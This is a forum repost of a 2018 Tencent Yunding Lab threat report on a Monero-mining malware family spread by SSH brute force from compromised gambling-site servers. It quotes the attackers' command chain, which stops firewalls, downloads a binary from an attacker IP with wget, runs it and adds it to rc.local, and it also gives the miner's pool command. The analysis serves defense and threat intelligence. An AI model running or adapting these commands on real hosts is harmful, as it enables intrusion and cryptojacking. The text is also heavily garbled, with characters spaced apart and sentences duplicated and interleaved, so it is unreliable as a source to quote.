搜索

[13283] 2018-10-09_门罗币挖矿新家族「罗生门」

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2018-10-09_门罗币挖矿新家族「罗生门」 门 罗 币 挖 矿 新 家 族 「 罗 生 门 」 m u r p h y z h a n g   F r e e B u f   2 0 1 8 - 1 0 - 0 9 一 、 前 言 一 、 前 言 腾 讯 安 全 云 鼎 实 验 室 通 过 部 署 的 威 胁 感 知 系 统 捕 获 了 一 批 挖 矿 样 本 （ 具 有 同 源 性 ） ， 是 一 批 可 挖 取 门 罗 币 腾 讯 安 全 云 鼎 实 验 室 通 过 部 署 的 威 胁 感 知 系 统 捕 获 了 一 批 挖 矿 样 本 （ 具 有 同 源 性 ） ， 是 一 批 可 挖 取 门 罗 币 ( x m r ) 的 挖 矿 病 的 挖 矿 病 毒 。 这 批 样 本 今 年 毒 。 这 批 样 本 今 年 5 月 开 始 出 现 ， 目 前 各 大 杀 软 对 此 样 本 基 本 无 法 有 效 查 杀 ， 腾 讯 云 云 镜 第 一 时 间 跟 进 查 杀 。 根 据 进 一 步 溯 月 开 始 出 现 ， 目 前 各 大 杀 软 对 此 样 本 基 本 无 法 有 效 查 杀 ， 腾 讯 云 云 镜 第 一 时 间 跟 进 查 杀 。 根 据 进 一 步 溯 源 的 信 息 可 以 推 测 该 挖 矿 团 伙 利 用 被 入 侵 的 博 彩 网 站 服 务 器 进 行 病 毒 传 播 。 源 的 信 息 可 以 推 测 该 挖 矿 团 伙 利 用 被 入 侵 的 博 彩 网 站 服 务 器 进 行 病 毒 传 播 。 分 析 显 示 ， 此 挖 矿 样 本 不 具 有 传 播 性 ， 总 体 结 构 式 是   L o a d e r   +   挖 矿 子 体 ， 挖 矿 团 伙 通 过 控 制 的 机 器 进 行 远 程   S S H   暴 力 破 解 并 将 病 毒 进 行 传 播 。 由 于 目 前 能 对 付 此 病 毒 的 杀 软 极 少 ， 且 该 病 毒 通 过 入 侵 的 赌 博 网 站 服 务 器 进 行 病 毒 传 播 、 挖 矿 ， 让 真 相 扑 朔 迷 离 ， 云 鼎 实 验 室 威 胁 情 报 小 组 将 本 次 门 罗 币 挖 矿 新 家 族 命 名 为 「 罗 生 门 」 。 二 、 入 侵 分 析 二 、 入 侵 分 析 挖 矿 样 本 通 过 母 体 释 放 挖 矿 子 体 ， 母 体 是   L o a d e r   ， 释 放 挖 矿 子 体 ， 执 行 挖 矿 子 体 。 母 体 本 身 不 包 含   S S H   爆 破 等 蠕 虫 动 作 ， 子 体 就 是 单 纯 的 挖 矿 代 码 （ 加 壳 变 形   U P X ） 。 通 过 观 测 发 现 ， 进 行   S S H   爆 破 的 主 机   I P   较 少 且 固 定 ， 可 以 认 定 为 固 定 机 器 ， 使 用 工 具 进 行 扫 描 、 爆 破 。 通 过 这 种 广 撒 网 的 方 式 ， 犯 罪 团 伙 能 收 获 不 少 门 罗 币 。 攻 击 流 程 图 ： 攻 击 流 程 图 ： 攻 击 过 程 示 意 ： 攻 击 过 程 示 意 ： 攻 击 日 志 来 源 ： h t t p : / / b i k e w i k i . j p : 5 0 0 0 / a p p / 2 0 1 8 / 0 7 / 2 7 / 0 7 3 1 4 8 - 4 8 7 9 . l o g
母 体 母 体   L o a d e r   详 细 分 析 ： 详 细 分 析 ： 母 体   L o a d e r   的 行 为 包 含 自 启 动 和 释 放 运 行 文 件 两 个 部 分 。 自 启 动 代 码 ： 自 启 动 代 码 ： 在 函 数   m a i n _ B o o t   中 通 过   s e d   编 辑   r c . l o c a l   和   b o o t . l o c a l   来 进 行 自 启 动 。 释 放 文 件 ： 释 放 文 件 ： 执 行 文 件 ： 执 行 文 件 ： 三 、 病 毒 子 体 分 析 三 、 病 毒 子 体 分 析 通 过 对 挖 矿 样 本 进 行 分 析 发 现 ， 子 体 是 一 个 加 壳 后 的 标 准 矿 机 程 序 ， 子 体 加 壳 子 体 加 壳 也 是 导 致 杀 软 无 法 查 杀 的 一 个 方 式 。 子 体 加 壳 为 U P X   变 形 壳 ， 可 以 抵 抗 通 用 脱 壳 机 的 脱 壳 。 手 动 脱 壳 后 发 现 为 标 准 挖 矿 程 序 （ 开 源 矿 机 程 序 ） 。 相 关 开 源 项 目 连 接 为 ： h t t p s : / / g i t h u b . c o m / s u m o p r o j e c t s / c r y p t o n o t e - s u m o k o i n - p o o l
四 、 矿 池 分 析 与 统 计 四 、 矿 池 分 析 与 统 计 据 观 测 今 年 5 月 至 9 月 初 ， 蜜 罐 捕 获 的 「 罗 生 门 」 挖 矿 病 毒 累 计 挖 出 约 1 2 . 1 6 个 门 罗 币 ， 价 值 约 1 w 人 民 币 （ 2 0 1 8 年 1 0 月 8 日 ， 门 罗 币 价 格 为 1 1 4 . 2 U S D ， 合 计 1 3 8 8 . 6 7 美 金 ） ， 算 力 为 8 5 5 7 H / S , 大 约 是 皮 皮 虾 矿 池 的 百 分 之 一 算 力 。 从 算 力 上 看 ， 这 种 广 撒 网 式 的 传 播 ， 也 能 有 一 定 的 规 模 。 挖 矿 样 本 执 行 挖 矿 的 命 令 如 下 ： 挖 矿 样 本 执 行 挖 矿 的 命 令 如 下 ： 从 挖 矿 命 令 中 可 知 ， 挖 矿 样 本 对   C P U   利 用 率 有 一 定 的 限 制 ， 最 大   C P U   使 用 量 为 7 5 % 。 挖 矿 样 本 针 对 的 矿 池 地 址 和 门 罗 币 ( x m r ) 产 量 如 下 ： - B   - o s t r a t u m + t c p : / / m i n e . p p x x m r . c o m : 7 7 7 7 - u   4 1 t P S 2 h g 6 n c 6 D W N X D i W G 7 n g G S n L A a w 4 z m B e M 4 7 8 r 1 t k Z D G H 1 y 8 a F P D i D q A F N 8 L o u y A X T x t r L V i g m R g L X y t e z C M ' Q f 1 F w z q E i - p x   - k   - - m a x - c p u - u s a g e = 7 5
对 应 的 钱 包 地 址 为 ： 对 应 的 钱 包 地 址 为 ： 钱 包 地 址 ： 钱 包 地 址 ： 4 5 K G e j q 1 H D H X B 6 1 8 E 3 a e W H F y o L h 1 k M 5 s y R G 8 F H D i Q 4 p Z X Z F 1 p i e q W 7 D M 5 H H e 3 Y 2 o c 1 Y w o E c 7 o f j g t b e E q V 3 U r k S 9 S V y g J P T 4 5 K G e j q 1 H D H X B 6 1 8 E 3 a e W H F y o L h 1 k M 5 s y R G 8 F H D i Q 4 p Z X Z F 1 p i e q W 7 D M 5 H H e 3 Y 2 o c 1 Y w o E c 7 o f j g t b e E q V 3 U r k S 9 S V y g J P T 4 5 v K g d P Y 4 M 3 L p 4 R X W c c W C B F P 7 H C t c p 7 1 8 G y G a N V m i 5 8 j 9 r d D X 7 1 6 y z 5 M K X T 2 E D j F i x g P W 8 m j n a X v z 2 c B U p E q V C L K F H 1 z 9 T x 4 5 v K g d P Y 4 M 3 L p 4 R X W c c W C B F P 7 H C t c p 7 1 8 G y G a N V m i 5 8 j 9 r d D X 7 1 6 y z 5 M K X T 2 E D j F i x g P W 8 m j n a X v z 2 c B U p E q V C L K F H 1 z 9 T x 4 1 t P S 2 h g 6 n c 6 D W N X D i W G 7 n g G S n L A a w 4 z m B e M 4 7 8 r 1 t k Z D G H 1 y 8 a F P D i D q A F N 8 L o u y A X T x t r L V i g m R g L X y t e z C M Q f 1 F w z q E i 4 5 K G e j q 1 H D H X B 6 1 8 E 3 a e W H F y o L h 1 k M 5 s y R G 8 F H D i Q 4 p Z X Z F 1 p i e q W 7 D M 5 H H e 3 Y 2 o c 1 Y w o E c 7 o f j g t b e E q V 3 U r k S 9 S V y g J P T 4 5 K G e j q 1 H D H X B 6 1 8 E 3 a e W H F y o L h 1 k M 5 s y R G 8 F H D i Q 4 p Z X Z F 1 p i e q W 7 D M 5 H H e 3 Y 2 o c 1 Y w o E c 7 o f j g t b e E q V 3 U r k S 9 S V y g J P T 4 7 x B 4 p d B n g k h g T D 1 M d F 9 s i d C a 6 Q R X b 4 g v 6 q c G k V 1 T T 4 X D 6 L f Z P o 1 2 C x e X 8 L C r q p V Z m 2 e N 3 u A Z 1 z M Q C c P n h W b L o P g N b K 8 y 3 Z 4 1 t P S 2 h g 6 n c 6 D W N X D i W G 7 n g G S n L A a w 4 z m B e M 4 7 8 r 1 t k Z D G H 1 y 8 a F P D i D q A F N 8 L o u y A X T x t r L V i g m R g L X y t e z C M Q f 1 F w z q E i 五 、 免 杀 分 析 五 、 免 杀 分 析 1 、 检 测 效 果 ： 、 检 测 效 果 ： 将 挖 矿 样 本 在   V i r u s T o t a l   中 检 测 发 现 ， 除 了   D r w e b   可 以 检 出 此 样 本 ， 其 余 杀 软 均 无 法 有 效 检 测 此 样 本 。 挖 矿 病 毒 5 月 出 现 ， 流 行 3 月 有 余 ， V i r u s T o t a l   上 依 然 只 有 1 款 杀 软 可 以 查 杀 。 下 图 是 挖 矿 样 本 在   V i r u s T o t a l   中 的 检 测 结 果 ： 2 、 免 杀 流 程 ： 、 免 杀 流 程 ： 基 本 所 有 杀 软 都 无 法 查 杀 此 病 毒 ， 此 病 毒 通 过   G o   语 言   L o a d e r   和 子 体 加 变 形   U P X   壳 进 行 免 杀 ， 对 于   L i n u x   查 杀 较 为 薄 弱 的 杀 软 ， 很 容 易 漏 报 。 免 杀 示 意 图 ： 免 杀 示 意 图 ：
L o a d e r   使 用   G o   语 言 编 写 ， 大 量 的   G o   语 言 的 库 代 码 掩 盖 了 真 正 的 病 毒 代 码 部 分 ， 所 以 免 杀 效 果 较 好 。 2 1 5 5 个   G o   语 言 库 函 数 ， 真 正 的 病 毒 代 码 包 含 在 4 个 函 数 中 。 六 、 溯 源 分 析 六 、 溯 源 分 析 对 这 批 挖 矿 样 本 进 行 溯 源 分 析 发 现 ， 从 今 年 5 月 开 始 ， 发 起 攻 击 的   I P 一 共 有 两 个 ： 1 6 0 . 1 2 4 . 6 7 . 6 6 、 1 2 3 . 2 4 9 . 3 4 . 1 0 3 另 外 ， 样 本 下 载 地 址 ： 1 8 1 . 2 1 5 . 2 4 2 . 2 4 0 、 1 2 3 . 2 4 9 . 9 . 1 4 1 、 1 2 3 . 2 4 9 . 3 4 . 1 0 3 、 5 8 . 2 2 1 . 7 2 . 1 5 7 、 1 6 0 . 1 2 4 . 4 8 . 1 5 0 S S H 暴 力 破 解 成 功 后 执 行 的 命 令 有 （ s u S E f i r e w a l l 的 关 闭 、 i p t a b l e s   的 关 闭 、 样 本 的 下 载 ） ： / e t c / i n i t . d / i p t a b l e s   s t o p ; s e r v i c e   i p t a b l e s   s t o p ; S u S E f i r e w a l l 2   s t o p ; r e S u S E f i r e w a l l 2   s t o p ; c d / t m p ; w g e t   - c h t t p : / / 1 8 1 . 2 1 5 . 2 4 2 . 2 4 0 / a r m t y u ; c h m o d   7 7 7   a r m t y u ; . / a r m t y u ; e c h o   “ c d / t m p / “ > > / e t c / r c . l o c a l ; e c h o ” . / a r m t y u & ” > > / e t c / r c . l o c a l ; e c h o   “ / e t c / i n i t . d / i p t a b l e s s t o p I P   * * 地 址 地 址 * * 服 务 器 地 址 服 务 器 地 址 对 外 开 放 服 务 对 外 开 放 服 务 其 他 描 述 其 他 描 述 1 8 1 . 2 1 5 . 2 4 2 . 2 4 0 美 国 n e t b i o s f t p 、 垃 圾 邮 件 、 僵 尸 网 络 1 6 0 . 1 2 4 . 6 7 . 6 6 中 国   香 港 n e t b i o s m m h o n g c a n 1 6 8 . c o m 、 2 8 z u c h e . c o m 、 0 1 4 o . c o m 、 i p 2 8 . n e t 、 扫 描 1 6 0 . 1 2 4 . 4 8 . 1 5 0 中 国   香 港 n e t b i o s i p 2 8 . n e t 、 扫 描 1 2 3 . 2 4 9 . 9 . 1 4 1 中 国   贵 州 僵 尸 网 络
（ 扫 描 I P 和 下 载 I P 信 息 表 ） 表 格 中   1 6 0 . 1 2 4 . 6 7 . 6 6   是 扫 描   I P ， 通 过 对   I P   信 息 的 图 谱 聚 类 ， 发 现 香 港 的 两 台 主 机 均 为 一 个 团 伙 控 制 的 机 器 。 美 国 和 贵 州 的 机 器 是 入 侵 得 到 的 机 器 。 （ 团 伙 图 聚 类 ） 上 面 提 到 的 扫 描 机 器 均 为 赌 博 网 站 的 机 器 ， 曾 经 的 域 名 m m h o n g c a n 1 6 8 、 2 8 z u c h e   等 都 是 赌 博 网 站 。 2 8 z u c h e ： 另 一 台 香 港 机 器 的 域 名 为   h i m i t a t e . c o m ， 也 是 赌 博 网 站 。
两 台 香 港 主 机 均 为   i p 2 8 . n e t ， 都 可 以 作 为 门 罗 币 ( x m r ) 的 挖 矿 代 理 主 机 。 黑 产 江 湖 之 黑 吃 黑 ： 黑 产 江 湖 之 黑 吃 黑 ： 有 人 的 地 方 就 有 江 湖 ， 黑 产 作 为 互 联 网 中 的 法 外 之 地 ， 弱 肉 强 食 也 是 这 个 不 法 之 地 的 规 则 。 有 做 大 产 业 的 黑 产 大 佬 ， 也 有 干 一 票 就 走 的 小 团 伙 ， 黑 吃 黑 几 乎 天 天 都 在 上 演 。 赌 博 网 站 和 色 情 网 站 是 黑 吃 黑 中 常 常 被 吃 的 对 象 ， 经 研 究 分 析 可 知 ， 众 多 赌 博 网 站 所 在 的 服 务 器 竟 被 用 来 做 扫 描 ， 各 赌 博 网 站 之 间 并 没 发 现 强 关 联 性 ， 做 赌 博 的 团 伙 同 时 做 挖 矿 的 跨 界 运 营 也 不 是 很 多 ， 而 且 整 个 挖 矿 金 额 不 高 。 挖 矿 团 伙 若 是 入 侵 了 赌 博 网 站 ， 利 用 其 作 为 病 毒 服 务 器 传 播 挖 矿 病 毒 ， 这 也 不 是 不 可 能 。 对 于 美 国 和 贵 州 的 两 台 下 载 机 ， 根 据   t h r e a t b o o k   的 情 报 ， 这 两 台 主 机 应 该 是 肉 鸡 ， 如 下 图 ： 第 二 个 扫 描 地 址 为 ： 1 2 3 . 2 4 9 . 3 4 . 1 0 3 5 8 . 2 2 1 . 7 2 . 1 5 7 江 苏 江 苏 r a t 1 2 3 . 2 4 9 . 3 4 . 1 0 3 贵 州 s c a n m d b 7 . c n 美 国 b o t 地 理 位 置 ： 地 理 位 置 ： 扫 描 地 址   1 2 3 . 2 4 9 . 3 4 . 1 0 3 的 实 际 地 址 为 中 国 贵 州 黔 西 南 布 依 族 苗 族 自 治 州 ， 相 关 的 情 报 如 下 ：
相 关 网 站 解 析 过 的 地 址 为 ： 相 关 网 站 解 析 过 的 地 址 为 ： f 6 a e . c o m w w w . f 6 a e . c o m w w w . h 8 8 0 4 9 . c o m w w w . h 8 8 0 3 4 . c o m h 8 8 0 3 2 . c o m w w w . h 8 8 0 3 2 . c o m h 8 8 0 3 4 . c o m h 8 8 0 4 9 . c o m h 5 7 7 0 . c o m h 8 8 0 5 1 . c o m 以 上 以 上   U R L   地 址 均 为 赌 博 网 站 ： 地 址 均 为 赌 博 网 站 ： 其 他 的 一 些 情 报 其 他 的 一 些 情 报 ： 云 鼎 实 验 室 威 胁 情 报 团 队 在 网 络 上 也 观 测 到 这 些   I P   的 扫 描 行 为 ， 很 多 日 志 都 有 记 录 。 可 以 发 现 这 个 挖 矿 样 本 的 扫 描 传 播 是 一 种 无 针 对 的 、 广 撒 网 式 的 暴 力 破 解 传 播 模 式 。 日 志 地 址 日 志 地 址 1 ： ：
f t p : / / e g k w . c o m / P r o g r a m % 2 0 F i l e s / A p a c h e % 2 0 S o f t w a r e % 2 0 F o u n d a t i o n / T o m c a t % 2 0 7 . 0 / l o g s / l o c a l h o s t _ a c c e s s _ l o g . 2 0 1 8 - 0 4 - 2 8 . t x t 日 志 地 址 日 志 地 址 2 ： ： h t t p : / / 2 1 7 . 3 1 . 1 9 2 . 5 0 / d a t a / p r o k i 2 0 1 8 - 0 5 - 1 3 . t x t 七 、 总 结 七 、 总 结 通 过 观 测 发 现 扫 描 主 机 均 属 于 赌 博 网 站 ， 赌 博 等 黑 产 现 在 开 始 向 挖 矿 业 务 进 军 了 吗 ？ 。 防 御 方 法 ： 防 御 方 法 ： （ 1 ） 修 改   S S H   口 令 ， 要 定 期 更 换   S S H   口 令 ， 并 保 证 一 定 的 复 杂 度 。 （ 2 ） 安 装 腾 讯 云 云 镜 ， 提 前 发 现 可 疑 木 马 及 暴 力 破 解 行 为 。 （ 3 ） 对 于 外 部 S S H   连 接 的   I P   进 行 黑 白 名 单 限 制 。 相 关 样 本 相 关 样 本   h a s h ： ： 4 8 f 8 2 a 2 4 c f 1 e 9 9 c 6 5 1 0 0 c 2 7 6 1 f 6 5 2 6 5 c 7 2 3 b d 5 7 4 3 1 a a 7 5 9 d 6 8 c e c b 8 3 f c 8 a 7 d f 8 a 3 5 7 b 1 b 0 0 e 6 2 c a b 7 d c 8 9 5 3 5 2 2 f 9 5 6 0 0 9 4 7 0 e 7 c d a c 0 3 6 0 a c 9 3 2 5 0 f 7 0 a 8 9 2 a 8 d 0 3 7 8 8 e a e c 7 1 8 5 6 9 c 6 9 b 2 1 f f 3 d a e f 7 2 3 a 8 f b f 3 4 5 0 9 a e 0 3 b 6 f 8 7 4 f 6 f 0 b f 3 3 2 2 5 1 4 7 0 5 8 0 c b 3 0 6 c 4 e 4 b 2 5 7 2 3 6 9 6 c b 0 a 3 8 7 3 d b 4 8 2 6 f 3 e 5 e e 3 a d d f b f 6 f e a d f e 5 d e a d b e 5 e d d 6 8 a 5 a 3 b f 9 f b b 0 9 9 c 9 c 2 9 e 7 3 d b a b 7 8 2 相 关 中 间 文 件 相 关 中 间 文 件   s h a 2 5 6 ： ： 8 7 9 7 e 9 9 8 c 0 1 d 2 d 6 b b 1 1 9 b e b 2 b b a e 3 c 2 f 8 4 b 6 a e 7 0 c 5 5 e d d 1 0 8 e d 0 e 3 4 0 9 7 2 c f 6 4 2 f 8 e 1 9 5 7 e 8 b f d 7 f 2 8 1 a 7 6 d 1 e 4 2 6 9 4 0 4 9 c 6 7 f 3 9 d e a 9 0 a c 3 6 e 9 d 5 8 9 c 1 4 c d f 8 9 2 4 b c
f 5 4 b 1 e 9 9 0 3 9 0 3 7 f 4 2 4 e 7 e 2 a d a 7 a e 0 7 4 0 b 6 d 1 d a 2 2 9 6 8 8 a 8 1 e 9 5 f d 6 1 5 9 f 1 6 f b b c 1 c a 6 0 d 0 4 2 0 4 a a 3 1 9 5 e 8 c d 7 2 8 8 7 c 7 d e c e d 1 a 7 c 6 6 4 e 5 3 8 2 5 6 f 1 3 8 b 5 6 9 8 d 3 8 1 c e b 0 0 e 8 b 7 0 f 1 1 c 4 1 2 a 7 5 c c f b 4 8 7 7 1 0 2 9 6 7 9 d b 7 2 c 2 7 b d 6 1 c 4 1 c 7 2 e 6 5 b e 5 4 6 4 4 1 5 d f 9 5 f 0 8 f d 3 8 e 2 8 9 1 9 4 2 d a d d 9 3 6 d 7 1 b 7 e 9 8 0 5 5 b a 4 8 c 5 8 b c 9 8 6 d 5 c 5 8 f 9 6 1 0 5 5 b c c 3 7 8 f c 0 8 a 3 1 7 2 6 a e 6 5 f 6 3 0 c e 8 3 b 9 a 0 a 4 4 1 0 8 f f 5 9 1 8 0 9 b 1 4 d b 5 b 7 c 0 d 0 b e 2 d 0 8 2 9 2 1 1 a f 5 1 a c 7 b a 4 b a 4 b 4 a 8 c 5 7 b 1 6 c f 4 f a c 6 e a 2 9 e 4 1 c 0 3 6 1 c 3 2 6 0 b f 5 2 7 2 7 8 5 2 5 b 4 b e c 5 6 0 1 3 9 6 a 2 1 7 4 d 2 f 0 9 e 8 5 7 1 e 0 f 5 1 3 a 8 0 8 2 c c d d 8 2 4 e 9 8 8 b 8 3 3 9 3 2 1 7 2 7 4 e 6 4 f e 0 d a f d 6 9 b 2 3 8 c 0 9 c 3 f d b d a 6 2 d f 3 9 0 3 9 e d 4 9 d 6 0 d 4 2 d 3 2 3 1 2 e e d a d f c 2 c 6 c e d 4 d 6 5 d 2 7 b 1 d d b 9 9 8 0 2 5 2 3 c 4 6 6 e a 9 2 7 3 d e 8 9 3 b e 5 c 1 2 c 7 c 6 5 4 d f d 4 d e b 5 a 8 9 6 b 5 5 7 1 8 e 6 9 b 7 2 1 e 5 4 8 7 8 6 f 4 d 1 2 4 e f 7 5 e 9 f 4 5 d 6 5 0 f b d 8 5 9 d 5 9 1 a 0 3 c a 7 1 e 2 6 2 5 f 5 0 d 3 0 7 8 5 0 3 f 7 6 e d f d 3 4 1 d f b 2 c d 3 c 9 4 c 6 2 4 6 9 1 5 3 4 4 4 6 e c e 2 5 5 c 4 9 e d 3 b a 0 2 f 4 5 1 2 8 c 1 9 e 5 a 8 5 3 d c f 6 f 6 a b 8 4 7 2 b a 9 d d b e f 4 0 9 9 7 5 2 8 4 e 4 4 2 8 0 7 1 d 5 b 8 e b 5 7 6 f 2 b 2 7 a d 1 9 c a 2 f a d 7 0 9 4 a e e b d 2 8 1 1 f a 2 5 0 6 1 0 0 4 e a 0 1 3 1 1 b 2 d 2 7 f e d a 1 2 4 b 4 2 6 2 b 5 6 1 1 f 9 1 8 8 2 c 2 d 9 8 9 5 f 0 a 5 3 0 1 6 0 5 1 5 8 a d 0 0 0 6 f e 9 f d 0 9 3 c 7 a f 6 f 0 0 6 5 a 9 3 2 0 9 f 2 1 0 7 4 d 6 6 9 4 f 0 3 5 1 f 2 5 e c e 1 b 7 8 b 7 a 9 7 8 f b b 1 3 9 6 e 3 7 a d c a b 8 8 a 0 e 2 1 f 9 e 0 3 6 6 c 8 d a 9 a 1 9 9 6 5 2 9 0 6 f a 1 9 4 c a c c e f 8 f 7 0 8 4 4 c 3 f 8 c c d c c 4 5 c 6 c b d 4 c c 1 c 8 f 5 6 a 3 2 0 1 0 6 c f c 9 c 4 2 a d 9 4 b 4 9 9 d 5 c a 6 e c 2 8 0 b 1 0 7 7 b f 4 1 f f b 9 5 6 8 a 7 b 5 d a 7 8 3 8 9 d 2 0 d a b a 6 5 e 2 e 6 9 3 e 8 c 9 8 2 8 c 8 7 4 a d 8 7 7 1 d c d 5 b b 5 c 8 a 1 e 5 7 f 5 a e d 1 1 2 1 6 e e 3 5 6 a 4 8 9 6 a d 2 2 f 3 7 5 e 2 b 6 2 b 7 c a 2 2 e 8 3 7 3 7 f 2 4 e c 0 e 5 c d a a 4 0 0 b 0 5 1 * 本 文 作 者 m u r p h y z h a n g （ 腾 讯 安 全 云 鼎 实 验 室 ） ， 转 载 请 注 明 来 自   F r e e B u f . C O M 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理